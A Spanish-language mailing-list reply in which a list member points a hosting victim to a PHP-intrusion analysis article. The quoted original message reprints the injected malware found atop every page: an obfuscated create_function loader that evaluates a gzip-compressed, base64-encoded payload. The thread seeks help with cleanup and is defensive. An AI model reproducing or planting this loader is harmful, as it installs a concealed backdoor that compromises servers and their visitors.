El día 17 de abril de 2013 14:01, Cristhian Mauricio <ingcmarz...@gmail.com> escribió: > Buen día, últimamente he tenido inconvenietes con mi hosting ya que me > aparece el siguiente código y no he encontrado nada que me oriente.
Hace poco leí algo en Security by Default que puede ayudar: http://www.securitybydefault.com/2013/04/analisis-de-intrusion-y-malware-en-php.html Saludos > > <?php > $md5 = "c7a81981b0c6b8e874a6ed81bab9c068"; > $a2 = > array('s',"a",'z',')',"l","o",'c','t','6',"$",'e','d','f',"4",'g',"i",'n',';','(',"b","_","r","v"); > $b2f = > create_function('$'.'v',$a2[10].$a2[22].$a2[1].$a2[4].$a2[18].$a2[14].$a2[2].$a2[15].$a2[16].$a2[12].$a2[4].$a2[1].$a2[7].$a2[10].$a2[18].$a2[19].$a2[1].$a2[0].$a2[10].$a2[8].$a2[13].$a2[20].$a2[11].$a2[10].$a2[6].$a2[5].$a2[11].$a2[10].$a2[18].$a2[9].$a2[22].$a2[3].$a2[3].$a2[3].$a2[17]); > $b2f('FZe1DuxKFkU/590rB2bS6AVmZnYyMjO0se2vnx6p4gqqzlp7n+rKxj/N2831mB3VnzzbKwL7b1kVS1n9+UdMS1n4+IoweLZBoxLTfEzQDbPs/sBSYG6bP9PbOzKu2E7V1b+6QQwgbNFv2CNPSFJeah23KYLUo+XUqds2pBbc8a7LfMejLxW1imDNkpyDkt01FjSxr4mM1oSA1Eol7ioJRx4EIYidVqrX1kaAy9sTeYbu4tRZ0QBCwxBu1jvc1D7RONdCCPLrVuQp0RMcPoqSKrAy7dPxug00JXtGtWGMSxIunwwQXjAmHNW4T/LSZ9y38DIfVX4bmRKGG1qmKWvHF/yYTCZ1ma0jcSW94UDNgYuEVjbCFN6nxTLmWAeLZOzWTBeWiyR7PgFFKIJ9DEU6dFIO+SMgygDLjUimcgsheH5lOEMJHnL73F9O6ol029TdbNZnDPA9cz7o6vDzgdtbrKnSyBdoeLiz8bt3EpL1BO4u9MEZ9vA7i9Ri7sQ5OE2/bbMq6lIBVjfSec8cuQu3Ct+aLr6bTwleG0nwKmEDN31j9nnvlYiR4RBgmQWdq608O3CrqDnC2tb5KVctywP29KbGdOab4Pb3SkU93jFe3JeZKDtPbsjbQGe5qLOS3OEM6+aFNaXFNow6YlYHDA2datdNJNAXpDu56CWeyvbTFCUbRKYe1kMW7MDK9EtHvueeZ2HgE/S9kATMb7sTCp4meQcCvhS32HuXWkzzBR0vMg9yUvRXqk5S8gmHcmYTEPFbvubOIsmPtruhajR+5KaiW7F7Q2zC1q2MauWKoKndKvjwQ2LHCUshRLciuS4r1YsBaBogyjH9atdWeRXRiiac372V5SziwZLObW3ZFWJirrr0EFS4YsetLPugaKLo3QfKCFEyluK4d71iUVoC/fp7br8KWMmOj8+kv6G0GL7HR58ASeDIShK2zUVrqxJIlTiCnTMmqzW600kSJDMO5lrmJIJUWm1PZKs7wt+h+eCXOzhjF9Kt5xsX8Hvlidt8vwLAU4STvVArp4epqEmUjHjOPmW62cMGVUwf6ddXPJcWW80YMm2s8cujGmu/gahjI17z7B+HGQFhyx3/KruJEyEAogWHLyrfTIUF+gCW8Ka8+014GisA8A6HusDjaPyo8kyammz3LiTpuw/ypy/EKLTdA0na33z58XWcd5IHqcG3SNTh5Bes5YId2zd1Llcl3JLmJCKChVqJOP7TD2JdIEmSn2aouaBIM+EX1u5PJlU987FqJEZI0GUnkd5KpKA7uagj3FSNOIQhsSuWZuyA2TENFg6li6TObov3bVMIaWorx5d0Pnc2adZyiAw4/fwCarV0+9b7GoGCqx9CVoy5gmzEdjo/eAfHgNs3R/fYOauVQ46BrFMf4Yu1PpSMxIxN64OxK6+4v09VgyLWBPNstHnZ4SibqVfgN45Rwu46DNUoM8tBM+ug5wTaPN9+WbBnfPCykGwzx68jcFbno3dKfvoj12W0TQaqM8ObyF4BXlU7IQFJQX3m0866wcZwSOsh+Y0UGbE9Q2ONR3nYL+sY19FqU105KYdVr+7oTfjuCFA2XpQMstZY5o4U02/ctYTrMDrxoQvfPvgFSGb07PCrk64bmCZZPvt4j+fk8WbyrTB5NBT8Z0y3tevJb2G1YQWo4KDbd+mcdRpo40vg8G4kkWPHMtyMDk6XPEb07augFOLQ3wSUTlWfLDwLbqCpUDK5mYJsey2vQJrunoayCE5BHQ8u51/nAkdCz2LDMpLB2k/xnFLSRzqFi3f5g4ULcG7LCrH3yw0TBiveV6ztiloiq/1UZgHTZD8YGncX3fzT0jFgfAEByWyRXFcEW740TqXV5ILnGPsLGsU/1hAT8l580M5dDX964k/y6G/onKOwKTqisBrIBkSoR6eJSn3+ZXHHpfEw5mUnodtn1SqCx7iOx2kBEVw3C+lf0h0MoDpouCVev26idF/gXDlVi98SU2w/nsOeG7Wb6Id9fk1Ok1ENldHkqZBJgwUR88K7GSNBh7UkZ+KnjZEvDEeyZJbaT/kUVmAL3B5bKeFFvX2/5zdSreFL8Ea0PaahkL/Ic+OxygJoMBrDO7VsfDkAfc2AGW0B6ZrsAy7zA8rYIa1OLdEniKcte422jQQjvp5aumduHoR2r335WTdDfrkC1XAW1QGIEhA0waU0SXjkEE3I0S5PTgKRGBCSEsxSbRnibAmwI3bWNP3ZlvjAwYTdqPFGUSlvsBDWXJGQYigsFJW0RaKfYPpoekQ5O8pRozxRG4/FwiOxSKawFkNYUpKgTWWfk86a3io8AwA6QX9e3Fmb7RtDPY5Rmxx8uLKoF1t8MKa747OJuprbOXhRFZ+S2M1BgxgF9BhsJxFN1OzyfRQNoxFzjzkXqWf5Su5uy5N8zwyC6x8GYQhNMseMoV8bXdZeGU2gUQMuwEsL8y2jIjLgsI2wWqlBFTyIHWgRCoSDbncdTKwwvztQ4r3+ZGozhNy8K7HWiNNWimuZSRW5xpozz9XVtDMKPdTtesSd1Vx2/eriKKxhRIcZbHxyMfPgxewS4FQUQQz7bAViHqzeDhNwK8SPs9k7AweH3keYydvOB3OOSJeXNFs9/tYKeCYuFtHl3vg9uT46j8hgK/Ydc9RKpz0Tq9XG13LSryrwJvQwV4Aw80q29IW9h81352rKKtWaCzGeq3Um8kDGx/LK1UzVbId41sfybovqSciLb3yrI3nU+dMErsWkhZz3P/WHRFyvKqZGumGi3QtjfEvIUDanZJDDMt4JLFdowqMBKi4smTxnhQHF+yjAAl6LPc/FGNoLJFHWqhUe8at2sHQwEExMdsaHs0mGWhuZzuMOVqxYIb2Lv8cpVrWZrm9muSd7KgHV5fFcg6r6O9lnUw5YU6tdVWHelK9B2ZUGo95e7lVZH1f2SMFmTR1tzuxRoLoZEukImXh4Ai/k0FthSqLjuGpyBLbWz5DG0jvIPS39ZPDC/Wo7OlTgcZo0x0ecf92Z+KXjffyChp09qpgRTMH6dnDsw3sV68z/2qRlHHDvlW85bUaNe1wNkGZ+5ldcakVLvrZH7QOMgArMRBboMu+3k34+UXhauU0uc1fTfV0/MWCYCvYk6dZJ9Zd2tPyp7b9dZgxy/MUQEIV7TNAfLq4/1ZznGhoKUIYIgc/TUCnMREVe2WpkE+kzvO8cuZMctu5CYTJytwsfY53bQu16mSnz22KOhc3M0xlZRfvt/F3votaAmBbia0wwa0RAGOgl3U8zof+vk5dohVoP6x3ulhmvhRloKnnNKLYrnnW3G9U+ModR5ktrehctF4uaT37luhcWtIJk9QlntRMH1+wj14tMvHsBnRZ0KovGEsaLHU7LQUlgiCyNXgnhMxe0s8yJeSIpUsrTzXnAXBT25dC+VOjBFjGSFzgMgL0Br+uias1bMqHTmVyCyZHJkne4M9HVfT6fODx5WSnxOizCYkmxAd1IaHB8xDkaLWXJQizWq9On9ofu1INHkl9srCfrHUr6T3rxOyz+PEy6GABmbeDL+LkF7vy89acwxN1lcOfS6fLEcP+unikLeoE2BG2pLNESqliSkM3dFqJ9T9n9SDH+ICGujDeS8S2vVV3U/ODcT71c0vYoYXzH2+f9FSdcxd1rZ9J6CvidR/tHbz4glkfw9wHeny3m0W/pO8/TVGsUwx7Mq4SU1T9Q2P3NIq8HEAJExwsA/VFtIMJ3JaIBYPTzmcB83CZhZKRJNHi26p8yyP3eE+c+HroeJ3Bw13zz84m7+8pMY1014dS4qhzFNx1O6E0PMFfeMN/zTfuOuEn0s8TmO/+KtDovPf4qy9eez0j+qe0xUQNjQsAX82zLfvvLSP+IxfZ3OfZ+eIyzw14qlnGUh52k54bOt4IGdTF/oev9xW7XAGkdTRI9+GHtJKZQ+HB7Gt0vGgpAteV8s8cokAj2WICoWGhZciaYWff3sz73cYss0prdxiNXMpNdD/IZevXmBFnBrD1uRcvYRJPDMYTFTLNFttMvMHGoX9l32zO0WfZ5o/gKRLopqsi6g/eUW4STE60dWetSb8Upfnhgw/BROGBlgmVBvpJgZQhgVFHdM+dXMeJGbj3K9+I4pYmYlcaqpyJxSjxhH7dHehpzmk9oVWHqZs4uJKzL/LfLfh0glT8+FlskxVapW8MyIyCTnHxxUPzV1IcjnEVrTJaSIXWQfACoL5QEQYC///33n79///7nfw=='); > ?> > > El está en un servidor bajo sistema Linux. > > Todas lás páginas contenidas en el hosting tienen dicho código al principio. > ¿A alguno le ha pasado alguna situación similar?¿qué se puede hacer al > respecto?¿posible manera de infección? > > -- > Cristhian Mauricio Arzuza Linares > Ingeniero de Sistemas > > > > _______________________________________________ > Lista de correo de Colibri > Colibri@listas.el-directorio.org > http://listas.el-directorio.org/cgi-bin/mailman/listinfo/colibri > http://slcolombia.org/Colibri/UsoLista > http://slcolombia.org/Colibri/ContratoSocial > > El Directorio, el sitio del Software Libre en Colombia: > http://www.el-directorio.org -- Juan Pablo Jaramillo Pineda Estudiante Ingeniería en Sistemas y Computación Universidad de Caldas http://about.me/juanpablojp1 http://verlaciudad.com _______________________________________________ Lista de correo de Colibri Colibri@listas.el-directorio.org http://listas.el-directorio.org/cgi-bin/mailman/listinfo/colibri http://slcolombia.org/Colibri/UsoLista http://slcolombia.org/Colibri/ContratoSocial El Directorio, el sitio del Software Libre en Colombia: http://www.el-directorio.org
